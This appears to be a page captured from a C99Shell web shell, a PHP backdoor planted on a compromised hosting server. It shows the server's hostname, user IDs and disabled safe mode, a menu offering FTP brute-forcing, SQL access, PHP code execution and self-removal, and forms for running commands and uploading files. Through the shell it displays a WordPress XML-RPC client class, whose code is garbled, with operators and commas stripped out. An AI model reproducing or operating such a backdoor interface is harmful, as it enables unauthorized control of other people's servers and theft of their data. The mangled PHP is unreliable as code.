!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-includes/IXR/   drwxr-xr-x
Free 182.35 GB of 490.84 GB (37.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-IXR-client.php (4.53 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * IXR_Client
 *
 * @package IXR
 * @since 1.5.0
 *
 */
class IXR_Client
{
    var 
$server;
    var 
$port;
    var 
$path;
    var 
$useragent;
    var 
$response;
    var 
$message false;
    var 
$debug false;
    var 
$timeout;
    var 
$headers = array();

    
// Storage place for an error message
    
var $error false;

    
/**
     * PHP5 constructor.
     */
    
function __construct$server$path false$port 80$timeout 15 )
    {
        if (!
$path) {
            
// Assume we have been given a URL instead
            
$bits parse_url($server);
            
$this->server $bits['host'];
            
$this->port = isset($bits['port']) ? $bits['port'] : 80;
            
$this->path = isset($bits['path']) ? $bits['path'] : '/';

            
// Make absolutely sure we have a path
            
if (!$this->path) {
                
$this->path '/';
            }

            if ( ! empty( 
$bits['query'] ) ) {
                
$this->path .= '?' $bits['query'];
            }
        } else {
            
$this->server $server;
            
$this->path $path;
            
$this->port $port;
        }
        
$this->useragent 'The Incutio XML-RPC PHP Library';
        
$this->timeout $timeout;
    }

    
/**
     * PHP4 constructor.
     */
    
public function IXR_Client$server$path false$port 80$timeout 15 ) {
        
self::__construct$server$path$port$timeout );
    }

    function 
query()
    {
        
$args func_get_args();
        
$method array_shift($args);
        
$request = new IXR_Request($method$args);
        
$length $request->getLength();
        
$xml $request->getXml();
        
$r "\r\n";
        
$request  "POST {$this->path} HTTP/1.0$r";

        
// Merged from WP #8145 - allow custom headers
        
$this->headers['Host']          = $this->server;
        
$this->headers['Content-Type']  = 'text/xml';
        
$this->headers['User-Agent']    = $this->useragent;
        
$this->headers['Content-Length']= $length;

        foreach( 
$this->headers as $header => $value ) {
            
$request .= "{$header}{$value}{$r}";
        }
        
$request .= $r;

        
$request .= $xml;

        
// Now send the request
        
if ($this->debug) {
            echo 
'<pre class="ixr_request">'.htmlspecialchars($request)."\n</pre>\n\n";
        }

        if (
$this->timeout) {
            
$fp = @fsockopen($this->server$this->port$errno$errstr$this->timeout);
        } else {
            
$fp = @fsockopen($this->server$this->port$errno$errstr);
        }
        if (!
$fp) {
            
$this->error = new IXR_Error(-32300'transport error - could not open socket');
            return 
false;
        }
        
fputs($fp$request);
        
$contents '';
        
$debugContents '';
        
$gotFirstLine false;
        
$gettingHeaders true;
        while (!
feof($fp)) {
            
$line fgets($fp4096);
            if (!
$gotFirstLine) {
                
// Check line for '200'
                
if (strstr($line'200') === false) {
                    
$this->error = new IXR_Error(-32300'transport error - HTTP status code was not 200');
                    return 
false;
                }
                
$gotFirstLine true;
            }
            if (
trim($line) == '') {
                
$gettingHeaders false;
            }
            if (!
$gettingHeaders) {
                
// merged from WP #12559 - remove trim
                
$contents .= $line;
            }
            if (
$this->debug) {
                
$debugContents .= $line;
            }
        }
        if (
$this->debug) {
            echo 
'<pre class="ixr_response">'.htmlspecialchars($debugContents)."\n</pre>\n\n";
        }

        
// Now parse what we've got back
        
$this->message = new IXR_Message($contents);
        if (!
$this->message->parse()) {
            
// XML error
            
$this->error = new IXR_Error(-32700'parse error. not well formed');
            return 
false;
        }

        
// Is the message a fault?
        
if ($this->message->messageType == 'fault') {
            
$this->error = new IXR_Error($this->message->faultCode$this->message->faultString);
            return 
false;
        }

        
// Message must be OK
        
return true;
    }

    function 
getResponse()
    {
        
// methodResponses can only have one param - return that
        
return $this->message->params[0];
    }

    function 
isError()
    {
        return (
is_object($this->error));
    }

    function 
getErrorCode()
    {
        return 
$this->error->code;
    }

    function 
getErrorMessage()
    {
        return 
$this->error->message;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0111 ]--